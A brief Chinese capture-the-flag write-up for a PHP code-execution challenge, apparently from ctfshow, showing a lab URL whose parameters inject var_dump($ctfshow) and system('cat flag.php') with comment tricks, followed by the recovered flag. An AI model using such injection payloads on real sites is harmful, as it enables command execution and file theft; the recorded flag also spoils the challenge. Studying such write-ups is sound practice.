打开容器后发现,就是一段PHP代码,先分析代码的含义,v1和v2,v3必须为数字,且v2中不含有分号,v3中含有分号,根据提示就是php代码执行所以直接执行php命令即可。flag藏在ctfshow的类当中。直接读取即可。
http://cx6gzka28.lab.aqlab.cn/?v1=1&v2=var_dump($ctfshow)&v3=;v1=1&v2=system('cat flag.php')/*&v3=*/;
再查看网页源代码。
拿到flag。
$flag = 'BLFGYIHUOFLAG';